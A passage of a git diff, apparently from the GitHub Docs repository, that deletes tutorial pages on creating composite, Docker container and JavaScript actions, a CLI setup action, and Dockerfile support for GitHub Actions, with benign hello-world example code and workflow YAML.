reusables.actions.composite-actions-executable-linux-mac %} - - {% endlinux %} - {% mac %} - - {% data reusables.actions.composite-actions-executable-linux-mac %} - - {% endmac %} - {% windows %} - - ```shell copy - git add --chmod=+x -- goodbye.sh - ``` - - {% endwindows %} - -1. From your terminal, check in your `goodbye.sh` file. - - {% linux %} - - {% data reusables.actions.composite-actions-commit-file-linux-mac %} - - {% endlinux %} - {% mac %} - - {% data reusables.actions.composite-actions-commit-file-linux-mac %} - {% endmac %} - {% windows %} - - ```shell copy - git commit -m "Add goodbye script" - git push - ``` - - {% endwindows %} - -## Creating an action metadata file - -1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions). - - ```yaml copy - name: 'Hello World' - description: 'Greet someone' - inputs: - who-to-greet: # id of input - description: 'Who to greet' - required: true - default: 'World' - outputs: - random-number: - description: "Random number" - value: {% raw %}${{ steps.random-number-generator.outputs.random-number }}{% endraw %} - runs: - using: "composite" - steps: - - name: Set Greeting - run: echo "Hello $INPUT_WHO_TO_GREET." - shell: bash - env: - INPUT_WHO_TO_GREET: {% raw %}${{ inputs.who-to-greet }}{% endraw %} - - - name: Random Number Generator - id: random-number-generator - run: echo "random-number=$(echo $RANDOM)" >> $GITHUB_OUTPUT - shell: bash - - - name: Set GitHub Path - run: echo "$GITHUB_ACTION_PATH" >> $GITHUB_PATH - shell: bash - env: - GITHUB_ACTION_PATH: {% raw %}${{ github.action_path }}{% endraw %} - - - name: Run goodbye.sh - run: goodbye.sh - shell: bash - - ``` - - This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, adds the action's path to the runner system path (to locate the `goodbye.sh` script during execution), and runs the `goodbye.sh` script. - - For more information about managing outputs, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions). - - For more information about how to use `github.action_path`, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). - -1. From your terminal, check in your `action.yml` file. - - ```shell copy - git add action.yml - git commit -m "Add action" - git push - ``` - -1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see [AUTOTITLE](/actions/creating-actions/about-custom-actions#using-release-management-for-actions). - - ```shell copy - git tag -a -m "Description of this release" v1 - git push --follow-tags - ``` - -## Testing out your action in a workflow - -The following workflow code uses the completed hello world action that you made in [AUTOTITLE](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file). - -Copy the workflow code into a `.github/workflows/main.yml` file in another repository, replacing `OWNER` and `SHA` with the repository owner and the SHA of the commit you want to use, respectively. You can also replace the `who-to-greet` input with your name. - -```yaml copy -on: [push] - -jobs: - hello_world_job: - runs-on: ubuntu-latest - name: A job to say hello - steps: - - uses: {% data reusables.actions.action-checkout %} - - id: foo - uses: OWNER/hello-world-composite-action@SHA - with: - who-to-greet: 'Mona the Octocat' - - run: echo random-number "$RANDOM_NUMBER" - shell: bash - env: - RANDOM_NUMBER: {% raw %}${{ steps.foo.outputs.random-number }}{% endraw %} -``` - -From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number. - -## Creating a composite action within the same repository - -1. Create a new subfolder called `hello-world-composite-action`, this can be placed in any subfolder within the repository. However, it is recommended that this be placed in the `.github/actions` subfolder to make organization easier. -1. In the `hello-world-composite-action` folder, do the same steps to create the `goodbye.sh` script - - ```shell copy - echo "echo Goodbye" > goodbye.sh - ``` - - {% linux %} - - {% data reusables.actions.composite-actions-executable-linux-mac %} - - {% endlinux %} - {% mac %} - - {% data reusables.actions.composite-actions-executable-linux-mac %} - - {% endmac %} - {% windows %} - - ```shell copy - git add --chmod=+x -- goodbye.sh - ``` - - {% endwindows %} - {% linux %} - - {% data reusables.actions.composite-actions-commit-file-linux-mac %} - - {% endlinux %} - {% mac %} - - {% data reusables.actions.composite-actions-commit-file-linux-mac %} - {% endmac %} - {% windows %} - - ```shell copy - git commit -m "Add goodbye script" - git push - ``` - - {% endwindows %} -1. In the `hello-world-composite-action` folder, create the `action.yml` file based on the steps in [AUTOTITLE](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file). -1. When using the action, use the relative path to the folder where the composite action's `action.yml` file is located in the `uses` key. The below example assumes it is in the `.github/actions/hello-world-composite-action` folder. - -```yaml copy -on: [push] - -jobs: - hello_world_job: - runs-on: ubuntu-latest - name: A job to say hello - steps: - - uses: {% data reusables.actions.action-checkout %} - - id: foo - uses: ./.github/actions/hello-world-composite-action - with: - who-to-greet: 'Mona the Octocat' - - run: echo random-number "$RANDOM_NUMBER" - shell: bash - env: - RANDOM_NUMBER: {% raw %}${{ steps.foo.outputs.random-number }}{% endraw %} -``` - -## Example composite actions on {% data variables.product.github %} - -You can find many examples of composite actions on {% data variables.product.github %}. - -* [microsoft/action-python](https://github.com/microsoft/action-python) -* [microsoft/gpt-review](https://github.com/microsoft/gpt-review) -* [tailscale/github-action](https://github.com/tailscale/github-action) diff --git a/content/actions/sharing-automations/creating-actions/creating-a-docker-container-action.md b/content/actions/sharing-automations/creating-actions/creating-a-docker-container-action.md deleted file mode 100644 index 2b1c11eb34cd..000000000000 --- a/content/actions/sharing-automations/creating-actions/creating-a-docker-container-action.md +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: Creating a Docker container action -shortTitle: Create a Docker container action -intro: 'This guide shows you the minimal steps required to build a Docker container action. ' -redirect_from: - - /articles/creating-a-docker-container-action - - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action - - /actions/automating-your-workflow-with-github-actions/creating-a-docker-container-action - - /actions/building-actions/creating-a-docker-container-action - - /actions/creating-actions/creating-a-docker-container-action -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Action development - - Docker ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. - -Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow. - -{% data reusables.actions.self-hosted-runner-reqs-docker %} - -{% data reusables.actions.context-injection-warning %} - -## Prerequisites - -* You must create a repository on {% data variables.product.github %} and clone it to your workstation. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository) and [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). -* If your repository uses {% data variables.large_files.product_name_short %}, you must include the objects in archives of your repository. For more information, see [AUTOTITLE](/enterprise-cloud@latest/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository). -* You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %}, environment variables and the Docker container filesystem. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables) and [AUTOTITLE](/enterprise-cloud@latest/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem). - -## Creating a Dockerfile - -In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see [AUTOTITLE](/actions/creating-actions/dockerfile-support-for-github-actions). - -**Dockerfile** - -```dockerfile copy -# Container image that runs your code -FROM alpine:3.10 - -# Copies your code file from your action repository to the filesystem path `/` of the container -COPY entrypoint.sh /entrypoint.sh - -# Code file to execute when the docker container starts up (`entrypoint.sh`) -ENTRYPOINT ["/entrypoint.sh"] -``` - -## Creating an action metadata file - -Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions). - -{% raw %} -**action.yml** - -```yaml copy -# action.yml -name: 'Hello World' -description: 'Greet someone and record the time' -inputs: - who-to-greet: # id of input - description: 'Who to greet' - required: true - default: 'World' -outputs: - time: # id of output - description: 'The time we greeted you' -runs: - using: 'docker' - image: 'Dockerfile' - args: - - ${{ inputs.who-to-greet }} -``` - -{% endraw %} - -This metadata defines one `who-to-greet` input and one `time` output parameter. To pass inputs to the Docker container, you should declare the input using `inputs` and pass the input in the `args` keyword. Everything you include in `args` is passed to the container, but for better discoverability for users of your action, we recommended using inputs. - -{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image. - -## Writing the action code - -You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file. - -Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must write them to the `$GITHUB_OUTPUT` environment file: `echo "<output name>=<value>" >> $GITHUB_OUTPUT`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-output-parameter). - -1. Create a new `entrypoint.sh` file in the `hello-world-docker-action` directory. - -1. Add the following code to your `entrypoint.sh` file. - - **entrypoint.sh** - - ```shell copy - #!/bin/sh -l - - echo "Hello $1" - time=$(date) - echo "time=$time" >> $GITHUB_OUTPUT - - ``` - - If `entrypoint.sh` executes without any errors, the action's status is set to `success`. You can also explicitly set exit codes in your action's code to provide an action's status. For more information, see [AUTOTITLE](/actions/creating-actions/setting-exit-codes-for-actions). - -1. Make your `entrypoint.sh` file executable. Git provides a way to explicitly change the permission mode of a file so that it doesn’t get reset every time there is a clone/fork. - - ```shell copy - git add entrypoint.sh - git update-index --chmod=+x entrypoint.sh - ``` - -1. Optionally, to check the permission mode of the file in the git index, run the following command. - - ```shell copy - git ls-files --stage entrypoint.sh - ``` - - An output like `100755 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 entrypoint.sh` means the file has the executable permission. In this example, `755` denotes the executable permission. - -## Creating a README - -To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. - -In your `hello-world-docker-action` directory, create a `README.md` file that specifies the following information: - -* A detailed description of what the action does. -* Required input and output arguments. -* Optional input and output arguments. -* Secrets the action uses. -* Environment variables the action uses. -* An example of how to use your action in a workflow. - -**README.md** - -```markdown copy -# Hello world docker action - -This action prints "Hello World" or "Hello" + the name of a person to greet to the log. - -## Inputs - -## `who-to-greet` - -**Required** The name of the person to greet. Default `"World"`. - -## Outputs - -## `time` - -The time we greeted you. - -## Example usage - -uses: actions/hello-world-docker-action@v2 -with: - who-to-greet: 'Mona the Octocat' -``` - -## Commit, tag, and push your action - -From your terminal, commit your `action.yml`, `entrypoint.sh`, `Dockerfile`, and `README.md` files. - -It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see [AUTOTITLE](/actions/creating-actions/about-custom-actions#using-release-management-for-actions). - -```shell copy -git add action.yml entrypoint.sh Dockerfile README.md -git commit -m "My first action is ready" -git tag -a -m "My first action release" v1 -git push --follow-tags -``` - -## Testing out your action in a workflow - -Now you're ready to test your action out in a workflow. - -* When an action is in a private repository, you can control who can access it. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-a-private-repository). -* {% ifversion ghes or ghec %}When an action is in an internal repository, you can control who can access it. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository).{% else %}When an action is in an internal repository, the action can only be used in workflows in the same repository.{% endif %} -* Public actions can be used by workflows in any repository. - -{% data reusables.actions.enterprise-marketplace-actions %} - -### Example using a public action - -The following workflow code uses the completed _hello world_ action in the public [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) repository. Copy the following workflow example code into a `.github/workflows/main.yml` file, but replace the `actions/hello-world-docker-action` with your repository and action name. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action). {% endif %} - -**.github/workflows/main.yml** - -```yaml copy -on: [push] - -jobs: - hello_world_job: - runs-on: ubuntu-latest - name: A job to say hello - steps: - - name: Hello world action step - id: hello - uses: actions/hello-world-docker-action@v2 - with: - who-to-greet: 'Mona the Octocat' - # Use the output from the `hello` step - - name: Get the output time - run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %} -``` - -### Example using a private action - -Copy the following example workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %} - -**.github/workflows/main.yml** - -```yaml copy -on: [push] - -jobs: - hello_world_job: - runs-on: ubuntu-latest - name: A job to say hello - steps: - # To use this repository's private action, - # you must check out the repository - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - - name: Hello world action step - uses: ./ # Uses an action in the root directory - id: hello - with: - who-to-greet: 'Mona the Octocat' - # Use the output from the `hello` step - - name: Get the output time - run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %} -``` - -{% data reusables.actions.test-private-action-example %} - -## Accessing files created by a container action - -When a container action runs, it will automatically map the default working directory (`GITHUB_WORKSPACE`) on the runner with the `/github/workspace` directory on the container. Any files added to this directory on the container will be available to any subsequent steps in the same job. For example, if you have a container action that builds your project, and you would like to upload the build output as an artifact, you can use the following steps. - -**workflow.yml** - -```yaml copy -jobs: - build: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - - # Output build artifacts to /github/workspace on the container. - - name: Containerized Build - uses: ./.github/actions/my-container-action - - - name: Upload Build Artifacts - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: workspace_artifacts - path: {% raw %}${{ github.workspace }}{% endraw %} -``` - -For more information about uploading build output as an artifact, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -## Example Docker container actions on {% data variables.product.prodname_dotcom_the_website %} - -You can find many examples of Docker container actions on {% data variables.product.prodname_dotcom_the_website %}. - -* [github/issue-metrics](https://github.com/github/issue-metrics) -* [microsoft/infersharpaction](https://github.com/microsoft/infersharpaction) -* [microsoft/ps-docs](https://github.com/microsoft/ps-docs) diff --git a/content/actions/sharing-automations/creating-actions/creating-a-javascript-action.md b/content/actions/sharing-automations/creating-actions/creating-a-javascript-action.md deleted file mode 100644 index d77e0971f8e6..000000000000 --- a/content/actions/sharing-automations/creating-actions/creating-a-javascript-action.md +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: Creating a JavaScript action -shortTitle: Create a JavaScript action -intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.' -redirect_from: - - /articles/creating-a-javascript-action - - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action - - /actions/automating-your-workflow-with-github-actions/creating-a-javascript-action - - /actions/building-actions/creating-a-javascript-action - - /actions/creating-actions/creating-a-javascript-action -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Action development - - JavaScript ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. - -This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. - -Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow. - -{% data reusables.actions.pure-javascript %} - -{% data reusables.actions.context-injection-warning %} - -## Prerequisites - -Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository. - -1. Download and install Node.js 20.x, which includes npm. - - https://nodejs.org/en/download/ -1. Create a new public repository on {% data variables.product.github %} and call it "hello-world-javascript-action". For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). - -1. Clone your repository to your computer. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - -1. From your terminal, change directories into your new repository. - - ```shell copy - cd hello-world-javascript-action - ``` - -1. From your terminal, initialize the directory with npm to generate a `package.json` file. - - ```shell copy - npm init -y - ``` - -## Creating an action metadata file - -Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions). - -```yaml copy -name: 'Hello World' -description: 'Greet someone and record the time' -inputs: - who-to-greet: # id of input - description: 'Who to greet' - required: true - default: 'World' -outputs: - time: # id of output - description: 'The time we greeted you' -runs: - using: 'node20' - main: 'index.js' -``` - -This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action. - -## Adding actions toolkit packages - -The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency. - -The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages. - -The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts. - -The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. - -At your terminal, install the actions toolkit `core` and `github` packages. - -```shell copy -npm install @actions/core -npm install @actions/github -``` - -Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module. - -## Writing the action code - -This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. - -GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log. - -Add a new file called `index.js`, with the following code. - -{% raw %} - -```javascript copy -const core = require('@actions/core'); -const github = require('@actions/github'); - -try { - // `who-to-greet` input defined in action metadata file - const nameToGreet = core.getInput('who-to-greet'); - console.log(`Hello ${nameToGreet}!`); - const time = (new Date()).toTimeString(); - core.setOutput("time", time); - // Get the JSON webhook payload for the event that triggered the workflow - const payload = JSON.stringify(github.context.payload, undefined, 2) - console.log(`The event payload: ${payload}`); -} catch (error) { - core.setFailed(error.message); -} -``` - -{% endraw %} - -If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see [AUTOTITLE](/actions/creating-actions/setting-exit-codes-for-actions). - -## Creating a README - -To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. - -In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information: - -* A detailed description of what the action does. -* Required input and output arguments. -* Optional input and output arguments. -* Secrets the action uses. -* Environment variables the action uses. -* An example of how to use your action in a workflow. - -````markdown copy -# Hello world javascript action - -This action prints "Hello World" or "Hello" + the name of a person to greet to the log. - -## Inputs - -### `who-to-greet` - -**Required** The name of the person to greet. Default `"World"`. - -## Outputs - -### `time` - -The time we greeted you. - -## Example usage - -```yaml -uses: actions/hello-world-javascript-action@e76147da8e5c81eaf017dede5645551d4b94427b -with: - who-to-greet: 'Mona the Octocat' -``` -```` - -## Commit, tag, and push your action - -{% data variables.product.github %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository. - -From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory. - -It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see [AUTOTITLE](/actions/creating-actions/about-custom-actions#using-release-management-for-actions). - -```shell copy -git add action.yml index.js node_modules/* package.json package-lock.json README.md -git commit -m "My first action is ready" -git tag -a -m "My first action release" v1.1 -git push --follow-tags -``` - -Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution. - -1. Install `vercel/ncc` by running this command in your terminal. - - `npm i -g @vercel/ncc` - -1. Compile your `index.js` file. - - `ncc build index.js --license licenses.txt` - - You'll see a new `dist/index.js` file with your code and the compiled modules. You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using. - -1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file. - - `main: 'dist/index.js'` - -1. If you already checked in your `node_modules` directory, remove it. - - `rm -rf node_modules/*` - -1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files. - - ```shell copy - git add action.yml dist/index.js node_modules/* - git commit -m "Use vercel/ncc" - git tag -a -m "My first action release" v1.1 - git push --follow-tags - ``` - -## Testing out your action in a workflow - -Now you're ready to test your action out in a workflow. - -Public actions can be used by workflows in any repository. When an action is in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, the repository settings dictate whether the action is available only within the same repository or also to other repositories owned by the same {% ifversion ghec or ghes %}organization or enterprise{% else %}user or organization{% endif %}. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository). - -{% data reusables.actions.enterprise-marketplace-actions %} - -### Example using a public action - -This example demonstrates how your new public action can be run from within an external repository. - -Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name. - -{% raw %} - -```yaml copy -on: [push] - -jobs: - hello_world_job: - runs-on: ubuntu-latest - name: A job to say hello - steps: - - name: Hello world action step - id: hello - uses: octocat/hello-world-javascript-action@1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b - with: - who-to-greet: 'Mona the Octocat' - # Use the output from the `hello` step - - name: Get the output time - run: echo "The time was ${{ steps.hello.outputs.time }}" -``` - -{% endraw %} - -When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it. - -### Example using a private action - -Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. - -**.github/workflows/main.yml** - -```yaml copy -on: [push] - -jobs: - hello_world_job: - runs-on: ubuntu-latest - name: A job to say hello - steps: - # To use this repository's private action, - # you must check out the repository - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - - name: Hello world action step - uses: ./ # Uses an action in the root directory - id: hello - with: - who-to-greet: 'Mona the Octocat' - # Use the output from the `hello` step - - name: Get the output time - run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}{% endraw %}" -``` - -{% data reusables.actions.test-private-action-example %} - -## Template repositories for creating JavaScript actions - -{% data variables.product.prodname_dotcom %} provides template repositories for creating JavaScript and TypeScript actions. You can use these templates to quickly get started with creating a new action that includes tests, linting, and other recommended practices. - -* [`javascript-action` template repository](https://github.com/actions/javascript-action) -* [`typescript-action` template repository](https://github.com/actions/typescript-action) - -## Example JavaScript actions on {% data variables.product.prodname_dotcom_the_website %} - -You can find many examples of JavaScript actions on {% data variables.product.prodname_dotcom_the_website %}. - -* [DevExpress/testcafe-action](https://github.com/DevExpress/testcafe-action) -* [duckduckgo/privacy-configuration](https://github.com/duckduckgo/privacy-configuration) diff --git a/content/actions/sharing-automations/creating-actions/developing-a-third-party-cli-action.md b/content/actions/sharing-automations/creating-actions/developing-a-third-party-cli-action.md deleted file mode 100644 index 6647da5ee416..000000000000 --- a/content/actions/sharing-automations/creating-actions/developing-a-third-party-cli-action.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Developing a third party CLI action -shortTitle: CLI setup action -intro: 'Learn how to develop an action to set up a CLI on {% data variables.product.prodname_actions %} runners.' -redirect_from: - - /actions/creating-actions/developing-a-third-party-cli-action -versions: - fpt: '*' - ghec: '*' -type: tutorial -topics: - - Actions ---- - -## Introduction - -You can write an action to provide a way for users to access your servers via a configured CLI environment on {% data variables.product.prodname_actions %} runners. - -Your action should: - -* Make it simple for users to specify the version of the CLI to install -* Support multiple operating systems -* Run in an efficient fashion to minimize run-time and associated costs -* Work across {% data variables.product.github %}-hosted and self-hosted runners -* Leverage community tooling when possible - -This article will demonstrate how to write an action that retrieves a specific version of your CLI, installs it, adds it to the path, and (optionally) caches it. This type of action (an action that sets up a tool) is often named `setup-$TOOL`. - -## Prerequisites - -You should have an understanding of how to write a custom action. For more information, see [AUTOTITLE](/actions/creating-actions/about-custom-actions). For a more detailed guide on how to write a custom action, see [AUTOTITLE](/actions/creating-actions/creating-a-javascript-action). - -## Example - -The following script demonstrates how you can get a user-specified version as input, download and extract the specific version of your CLI, then add the CLI to the path. - -{% data variables.product.prodname_dotcom %} provides [`actions/toolkit`](https://github.com/actions/toolkit), which is a set of packages that helps you create actions. This example uses the [`actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) and [`actions/tool-cache`](https://github.com/actions/toolkit/tree/main/packages/tool-cache) packages. - -{% raw %} - -```javascript copy -const core = require('@actions/core'); -const tc = require('@actions/tool-cache'); - -async function setup() { - // Get version of tool to be installed - const version = core.getInput('version'); - - // Download the specific version of the tool, e.g. as a tarball - const pathToTarball = await tc.downloadTool(getDownloadURL()); - - // Extract the tarball onto the runner - const pathToCLI = await tc.extractTar(pathToTarball); - - // Expose the tool by adding it to the PATH - core.addPath(pathToCLI) -} - -module.exports = setup -``` - -{% endraw %} - -To use this script, replace `getDownloadURL` with a function that downloads your CLI. You will also need to create an actions metadata file (`action.yml`) that accepts a `version` input and that runs this script. For full details about how to create an action, see [AUTOTITLE](/actions/creating-actions/creating-a-javascript-action). - -## Further reading - -This pattern is employed in several actions. For more examples, see: - -* [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby) -* [`google-github-actions/setup-gcloud`](https://github.com/google-github-actions/setup-gcloud) -* [`hashicorp/setup-terraform`](https://github.com/hashicorp/setup-terraform) diff --git a/content/actions/sharing-automations/creating-actions/dockerfile-support-for-github-actions.md b/content/actions/sharing-automations/creating-actions/dockerfile-support-for-github-actions.md deleted file mode 100644 index 6d0a6495053c..000000000000 --- a/content/actions/sharing-automations/creating-actions/dockerfile-support-for-github-actions.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Dockerfile support for GitHub Actions -shortTitle: Dockerfile support -intro: 'When creating a `Dockerfile` for a Docker container action, you should be aware of how some Docker instructions interact with GitHub Actions and an action''s metadata file.' -redirect_from: - - /actions/building-actions/dockerfile-support-for-github-actions - - /actions/creating-actions/dockerfile-support-for-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About Dockerfile instructions - -A `Dockerfile` contains instructions and arguments that define the contents and startup behavior of a Docker container. For more information about the instructions Docker supports, see [Dockerfile reference](https://docs.docker.com/engine/reference/builder/) in the Docker documentation. - -## Dockerfile instructions and overrides - -Some Docker instructions interact with GitHub Actions, and an action's metadata file can override some Docker instructions. Ensure that you are familiar with how your Dockerfile interacts with {% data variables.product.prodname_actions %} to prevent any unexpected behavior. - -### USER - -Docker actions must be run by the default Docker user (root). Do not use the `USER` instruction in your `Dockerfile`, because you won't be able to access the `GITHUB_WORKSPACE` directory. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables) and [USER reference](https://docs.docker.com/engine/reference/builder/#user) in the Docker documentation. - -### FROM - -The first instruction in the `Dockerfile` must be `FROM`, which selects a Docker base image. For more information, see the [FROM reference](https://docs.docker.com/engine/reference/builder/#from) in the Docker documentation. - -These are some best practices when setting the `FROM` argument: - -* It's recommended to use official Docker images. For example, `python` or `ruby`. -* Use a version tag if it exists, preferably with a major version. For example, use `node:10` instead of `node:latest`. -* It's recommended to use Docker images based on the [Debian](https://www.debian.org/) operating system. - -### WORKDIR - -{% data variables.product.github %} sets the working directory path in the `GITHUB_WORKSPACE` environment variable. It's recommended to not use the `WORKDIR` instruction in your `Dockerfile`. Before the action executes, {% data variables.product.github %} will mount the `GITHUB_WORKSPACE` directory on top of anything that was at that location in the Docker image and set `GITHUB_WORKSPACE` as the working directory. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables) and the [WORKDIR reference](https://docs.docker.com/engine/reference/builder/#workdir) in the Docker documentation. - -### ENTRYPOINT - -If you define `entrypoint` in an action's metadata file, it will override the `ENTRYPOINT` defined in the `Dockerfile`. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#runsentrypoint). - -The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. For more information about _exec_ and _shell_ form, see the [ENTRYPOINT reference](https://docs.docker.com/engine/reference/builder/#entrypoint) in the Docker documentation. - -You should not use `WORKDIR` to specify your entrypoint in your Dockerfile. Instead, you should use an absolute path. For more information, see [WORKDIR](#workdir). - -If you configure your container to use the _exec_ form of the `ENTRYPOINT` instruction, the `args` configured in the action's metadata file won't run in a command shell. If the action's `args` contain an environment variable, the variable will not be substituted. For example, using the following _exec_ format will not print the value stored in `$GITHUB_SHA`, but will instead print `"$GITHUB_SHA"`. - -```dockerfile -ENTRYPOINT ["echo $GITHUB_SHA"] -``` - - If you want variable substitution, then either use the _shell_ form or execute a shell directly. For example, using the following _exec_ format, you can execute a shell to print the value stored in the `GITHUB_SHA` environment variable. - -```dockerfile -ENTRYPOINT ["sh", "-c", "echo $GITHUB_SHA"] -``` - - To supply `args` defined in the action's metadata file to a Docker 